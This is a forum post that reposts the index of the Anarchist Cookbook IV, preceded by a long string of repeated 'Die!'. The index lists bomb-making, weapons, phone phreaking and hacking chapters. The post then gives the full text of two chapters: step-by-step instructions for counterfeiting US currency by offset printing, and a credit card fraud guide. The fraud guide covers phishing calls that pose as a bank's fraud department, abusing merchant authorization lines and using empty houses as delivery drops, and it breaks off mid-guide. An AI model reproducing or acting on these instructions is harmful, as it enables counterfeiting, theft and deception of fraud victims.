Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die!



toggletoggle post by Mucko  at Mar 25,2008 3:40pm
[Index to the Anarchist Cookbook IV, ver. 4.14]
COOKBOOK.IV: Intro by Exodus
001: Counterfeiting Money
002: Credit Card Fraud
003: Making Plastic Explosives from Bleach
004: Picking Master Locks
005: The Arts of Lockpicking I
006: The Arts of Lockpicking II
007: Solidox Bombs
008: High Tech Revenge: The Beigebox (NEW Revision 4.14)
009: CO2 Bombs
010: Thermite Bombs (NEW Rivision, 4.14)
011: Touch Explosives
012: Letter Bombs
013: Paint Bombs
014: Ways to send a car to HELL
015: Do ya hate school? (NEW Revision, 4.14)
016: Phone related vandalism
017: Highway police radar jamming
018: Smoke Bombs
019: Mail Box Bombs
020: Hotwiring cars
021: Napalm
022: Fertilizer Bomb
023: Tennis Ball Bomb
024: Diskette Bombs
025: Unlisted Phone Numbers (NEW Revision, 4.14)
026: Fuses
027: How to make Potassium Nitrate
028: Exploding Lightbulbs
029: Under water igniters
030: Home-brew blast cannon
031: Chemical Equivalency List
032: Phone Taps
033: Landmines
034: A different kind of Molitov Cocktail
035: Phone Systems Tutorial I
036: Phone Systems Tutorial II
037: Basic Alliance Teleconferencing
038: Aqua Box Plans
039: Hindenberg Bomb
040: How to Kill Someone with your Bare Hands
041: Phone Systems Tutorial III
042: Black Box Plans
043: The Blotto Box
044: Blowgun
045: Brown Box Plans
046: Calcium Carbide Bomb
047: More Ways to Send a Car to Hell
048: Ripping off Change Machines (NEW Revision, 4.14)
049: Clear Box Plans
050: CNA Number Listing
051: Electronic Terrorism
052: How to Start a Conference w/o 2600hz or M-F
053: Dynamite
054: Auto Exhaust Flame Thower
055: How to Break into BBS Express
056: Firebomb
057: Fuse Bomb
058: Generic Bomb
059: Green Box Plans
060: Portable Grenade Launcher
061: Basic Hacking Tutorial I
062: Basic Hacking Tutorial II
063: Hacking DEC's
064: Harmless Bombs
065: Breaking into Houses (NEW Revision, 4.14)
066: Hypnotism
067: Remote Informer Issue #1
068: Jackpotting ATM Machines
069: Jug Bomb
070: Fun at K-Mart
071: Mace Substitute
072: How to Grow Marijuana
073: Match Head Bomb
074: Terrorizing McDonalds
075: "Mentor's" Last Words
076: The Myth of the 2600hz Detector
077: Blue Box Plans (Ye' olde Favorite)
078: Napalm II
079: Nitroglycerin Recipe
080: Operation: Fuckup
081: Stealing Calls from Payphones
082: Pool Fun (NEW Revision, 4.14)
083: Free Postage
084: Unstable Explosives
085: Weird Drugs
086: The Art of Carding
087: Recognizing Credit Cards
088: How to Get a New Identity
089: Remote Informer Issue #2
090: Remote Informer Issue #3
091: Remote Informer Issue #4
092: Remote Informer Issue #5
093: Phreaker's Guide to Loop Lines
094: Ma-Bell Tutorial
095: Getting Money out of Pay Phones
096: Computer-based PBX
097: PC-Pursuit Port Statistics
098: Pearl Box Plans
099: The Phreak File
100: Red Box Plans
101: RemObs
102: Scarlet Box Plans
103: Silver Box Plans
104: Bell Trashing
105: Canadian WATS Phonebook
106: Hacking TRW
107: Hacking VAX & UNIX
108: Verification Circuits
109: White Box Plans
110: The BLAST Box
111: Dealing with the Rate & Route Operator
112: Cellular Phone Phreaking
113: Cheesebox Plans
114: How to Start Your Own Conferences
115: Gold Box Plans
116: The History of ESS
117: The Lunch Box
118: Olive Box Plans
119: The Tron Box
120: More TRW Info
121: "Phreaker's Phunhouse"
122: Phrack Magazine - Vol. 3, Issue 27 (Intro to MIDNET)
123: Phrack Magazine - Vol. 3, Issue 27 (The Making of a Hacker)
124: Phrack Magazine - Vol. 3, Issue 28 (Network Miscellany)
125: Phrack Magazine - Vol. 3, Issue 28 (Pearl Box Schematic)
126: Phrack Magazine - Vol. 3, Issue 28 (Snarfing Remote Files)
127: Phrack Magazine - Vol. 3, Issue 30 (Western Union, Telex, TWX & Time Service)
128: Phrack Magazine - Vol. 3, Issue 30 (Hacking & Tymnet)
129: Phrack Magazine - Vol. 3, Issue 30 (The DECWRL Mail Gateway)
130: Sodium Chlorate
131: Mercury Fulminate
132: Improvised Black Powder
133: Nitric Acid
134: Dust Bomb Instructions
135: Carbon-Tet Explosive
136: Making Picric Acid from Aspirin
137: Reclamation of RDX from C-4 Explosives
138: Egg-based Gelled Flame Fuels
139: Clothespin Switch
140: Flexible Plate Switch
141: Low Signature Systems (Silencers)
142: Delay Igniter From Cigarette
143: Nicotine
144: Dried Seed Timer
145: Nail Grenade
146: Bell Glossary
147: Phone Dial Locks -- How to Beat'em
148: Exchange Scanning
149: A Short History of Phreaking
150: "Secrets of the Little Blue Box" (story)
151: The History of British Phreaking
152: "Bad as Shit" (story)
153: Telenet
154: Fucking with the Operator
155: Phrack Magazine - Vol. 1, Issue 1 (The Phone Preak's Fry-Um Guide)
156: International Country Code Listing
157: Infinity Transmitter Schematic and Plans
158: LSD
159: Bananas
160: Yummy Marihuana Recipes
161: Peanuts
162: Chemical Fire Bottle
163: Igniter from Book Matches
164: "Red or White Powder" Propellant
165: Pipe Hand Grenade
166: European Credit Card Fraud (Written by Creditman! A Cookbook IV Recap!!)
167: Potassium Bomb
168: Your Legal Rights (For adults, or some of us think we are)
169: Juvenile Offenders' Rights
170: Down The Road Missle
171: Fun With ShotGunn Shells
172: Surveillance Equipment
173: Drip Timer
174: Stealing
175: Miscellaneous
176: Shaving cream bomb
177: Ripping off change machines 2
178: Lockpicking the EASY way
179: Anarchy 'N' Explosives Prelude
180: Anarchy 'N' Explosives Vol. 1
181: Anarchy 'N' Explosives Vol. 2
182: Anarchy 'N' Explosives Vol. 3
183: Anarchy 'N' Explosives Vol. 4
184: Anarchy 'N' Explosives Vol. 5
185: Explosives and Propellants
186: Lockpicking 3
187: Chemical Equivalent List 2
188: Nitroglycerin 2
189: Cellulose Nitrate
190: Starter Explosives
191: Flash Powder
192: Exploding Pens
193: Revised Pipe Bombs 4.14
194: * SAFETY * A MUST READ!
195: Ammonium TriIodide
196: Sulfuric Acid / Ammonium Nitrate III
197: Black Powder 3
198: Nitrocellulose
199: R.D.X. (Revised 4.14)
200: The Black Gate BBS
201: ANFOS
202: Picric Acid 2
203: Bottled Explosives
204: Dry Ice
205: Fuses / Ignitors / Delays
206: Film Canister Bombs
207: Book Bombs
208: Phone Bombs
209: Special Ammunition
210: Rocketry
211: Pipe Cannon 2
212: Smoke Bombs 4.14
213: Firecrackers
214: Suppliers II
215: Lab-Raid Checklist
216: Misc. Anarchy
217: LockPicking 4
218: Misc. Anarchy II
219: -* THERMITE 4 *- <-- The BEST rev. to 4.14
220: Conclusion
Look for the NEXT Edition of The Anarchist CookBook!!
-=> Exodus <=-_
Counterfeiting Money by JRoger
Before reading this article, it would be a very good idea to get a
book on photo offset printing, for this is the method used in
counterfeiting US currency. If you are familiar with this method
of printing, counterfeiting should be a simple task for you.
Genuine currency is made by a process called "gravure", which
involves etching a metal block. Since etching a metal block is
impossible to do by hand, photo offset printing comes into the
process.
Photo offset printing starts by making negatives of the currency
with a camera, and putting the negatives on a piece of masking
material (usually orange in color). The stripped negatives,
commonly called "flats", are then exposed to a lithographic plate
with an arc light plate maker. The burned plates are then
developed with the proper developing chemical. One at a time,
these plates are wrapped around the plate cylinder of the press.
The press to use should be an 11 by 14 offset, such as the AB Dick
360. Make 2 negatives of the portrait side of the bill, and 1 of
the back side. After developing them and letting them dry, take
them to a light table. Using opaque on one of the portrait sides,
touch out all the green, which is the seal and the serial numbers.
The back side does not require any retouching, because it is all
one color. Now, make sure all of the negatives are registered
(lined up correctly) on the flats. By the way, every time you
need another serial number, shoot 1 negative of the portrait side,
cut out the serial number, and remove the old serial number from
the flat replacing it with the new one.
Now you have all 3 flats, and each represents a different color:
black, and 2 shades of green (the two shades of green are created
by mixing inks). Now you are ready to burn the plates. Take a
lithographic plate and etch three marks on it. These marks must
be 2 and 9/16 inches apart, starting on one of the short edges.
Do the same thing to 2 more plates. Then, take 1 of the flats and
place it on the plate, exactly lining the short edge up with the
edge of the plate. Burn it, move it up to the next mark, and
cover up the exposed area you have already burned. Burn that, and
do the same thing 2 more times, moving the flat up one more mark.
Do the same process with the other 2 flats (each on a separate
plate). Develop all three plates. You should now have 4 images
on each plate with an equal space between each bill.
The paper you will need will not match exactly, but it will do for
most situations. The paper to use should have a 25% rag content.
By the way, Disaperf computer paper (invisible perforation) does
the job well. Take the paper and load it into the press. Be sure
to set the air, buckle, and paper thickness right. Start with the
black plate (the plate without the serial numbers). Wrap it
around the cylinder and load black ink in. Make sure you run more
than you need because there will be a lot of rejects. Then, while
that is printing, mix the inks for the serial numbers and the back
side. You will need to add some white and maybe yellow to the
serial number ink. You also need to add black to the back side.
Experiment until you get it right. Now, clean the press and print
the other side. You will now have a bill with no green seal or
serial numbers. Print a few with one serial number, make another
and repeat. Keep doing this until you have as many different
numbers as you want. Then cut the bills to the exact size with a
paper cutter. You should have printed a large amount of money by
now, but there is still one problem; the paper is pure white. To
dye it, mix the following in a pan: 2 cups of hot water, 4 tea
bags, and about 16 to 20 drops of green food coloring (experiment
with this). Dip one of the bills in and compare it to a genuine
US bill. Make the necessary adjustments, and dye all the bills.
Also, it is a good idea to make them look used. For example,
wrinkle them, rub coffee grinds on them, etc.
As before mentioned, unless you are familiar with photo offset
printing, most of the information in this article will be fairly
hard to understand. Along with getting a book on photo offset
printing, try to see the movie "To Live and Die in LA". It is
about a counterfeiter, and the producer does a pretty good job of
showing how to counterfeit. A good book on the subject is "The
Poor Man's James Bond".
If all of this seems too complicated to you, there is one other
method available for counterfeiting: The Canon color laser
copier. The Canon can replicate ANYTHING in vibrant color,
including US currency. But, once again, the main problem in
counterfeiting is the paper used. So, experiment, and good luck!
-= Exodus =-
_Credit Card Fraud:
-----------------
For most of you out there, money is hard to come by. Until now:
With the recent advent of plastic money (credit cards), it is
easy to use someone else's credit card to order the items you have
always desired in life. The stakes are high, but the payoff is
worth it.
Step One: Getting the credit card information
First off, you must obtain the crucial item: someone's credit
card number. The best way to get credit card numbers is to take
the blue carbons used in a credit card transaction at your local
department store. These can usually be found in the garbage can
next to the register, or for the more daring, in the garbage
dumpster behind the store. But, due to the large amount of credit
card fraud, many stores have opted to use a carbonless transaction
sheet, making things much more difficult. This is where your
phone comes in handy.
First, look up someone in the phone book, and obtain as much
information as possible about them. Then, during business hours,
call in a very convincing voice - "Hello, this is John Doe from
the Visa Credit Card Fraud Investigations Department. We have
been informed that your credit card may have been used for
fraudulent purposes, so will you please read off the numbers
appearing on your Visa card for verification." Of course, use
your imagination! Believe it or not, many people will fall for
this ploy and give out their credit information.
Now, assuming that you have your victim's credit card number, you
should be able to decipher the information given.
Step Two: Recognizing information from carbon copies
Card examples:
[American Express]
XXXX XXXXXX XXXXX
MM/Y1 THRU MM/Y2
JOE SHMOE
[American Express]
XXXX XXXXXX XXXXX
MM/Y1 THRU MM/Y2
JOE SHMOE
Explanation:
MM/Y1 is the date the card was issued, and MM/Y2 is the
expiration date. The American Express Gold Card has numbers
XXXXXX XXXXXXXX XXXXXXXX, and is covered for up to $5000.00,
even if the card holder is broke.
[Mastercard]
5XXX XXXX XXXX XXXX
XXXX AAA DD-MM-YY MM/YY
JOE SHMOE
Explanation:
XXXX in the second row may be asked for during the ordering
process. The first date is when the card was new, and the
second is when the card expires. The most frequent number
combination used is 5424 1800 XXXX XXXX. There are many of
these cards in circulation, but many of these are on wanted
lists, so check these first.
[Visa]
4XXX XXX(X) XXX(X) XXX(X)
MM/YY MM/YY*VISA
JOE SHMOE
Explanation:
Visa is the most abundant card, and is accepted almost
everywhere. The "*VISA" is sometimes replaced with "BWG", or
followed with a special code. These codes are as follows:
[1] MM/YY*VISA V - Preferred Card
[2] MM/YY*VISA CV - Classic Card
[3] MM/YY*VISA PV - Premier Card
Preferred Cards are backed with money, and are much safer to
use. Classic Cards are newer, harder to reproduce cards with
decent backing. Premier Cards are Classic Cards with Preferred
coverage. Common numbers are 4448 020 XXX XXX, 4254 5123 6000
XXXX, and 4254 5123 8500 XXXX. Any 4712 1250 XXXX XXXX cards
are IBM Credit Union cards, and are risky to use, although
they are usually covered for large purchases.
Step Three: Testing credit
You should now have a Visa, Mastercard, or American Express
credit card number, with the victim's address, zip code, and phone
number. By the way, if you have problems getting the address,
most phone companies offer the Address Tracking Service, which is
a special number you call that will give you an address from a
phone number, at a nominal charge. Now you need to check the
balance of credit on the credit card (to make sure you don't run
out of money), and you must also make sure that the card isn't
stolen. To do this you must obtain a phone number that
businesses use to check out credit cards during purchases. If you
go to a department store, watch the cashier when someone makes a
credit card purchase. He/she will usually call a phone number,
give the credit information, and then give what is called a
"Merchant Number". These numbers are usually written down on or
around the register. It is easy to either find these numbers and
copy them, or to wait until they call one in. Watch what they
dial and wait for the 8 digit (usually) merchant number. Once you
call the number, in a calm voice, read off the account number,
merchant number, amount, and expiration date. The credit bureau
will tell you if it is ok, and will give you an authorization
number. Pretend you are writing this number down, and repeat it
back to them to check it. Ignore this number completely, for it
serves no real purpose. However, once you do this, the bank
removes dollars equal to what you told them, because the card was
supposedly used to make a purchase. Sometimes you can trick the
operator by telling her the customer changed his mind and decided
not to charge it. Of course, some will not allow this. Remember
at all times that you are supposed to be a store clerk calling to
check out the card for a purchase. Act like you are talking with
a customer when he/she "cancels".
Step Four: The drop
Once the cards are cleared, you must find a place to have the
package sent. NEVER use a drop more than once. The following are
typical drop sites:
[1] An empty house
An empty house makes an excellent place to send things. Send the
package UPS, and leave a note on the door saying, "UPS. I work
days, 8 to 6. Could you please leave the package on the back door
step?" You can find dozens of houses from a real estate agent by
telling them you want to look around for a house. Ask for a list
of twenty houses for sale, and tell them you will check out the
area. Do so, until you find one that suits your needs.
[2] Rent A Spot
U-Haul sometimes rents spaces where you can have packages sent and
signed for. End your space when the package arrives.
[3] People's houses
Find someone you do not know, and have the package sent there.
Call ahead saying that "I called the store and they sent the
package to the wrong address. It was already sent, but can you
keep it there for me?" This is a very reliable way if you keep
calm when talking to the people.
Do NOT try post office boxes. Most of the time, UPS will not
deliver to a post office box, and many people have been caught in
the past attempting to use a post office box. Also, when you have
determined a drop site, keep an eye on it for suspicious
characters and cars that have not been there before.
Step Five: Making the transaction
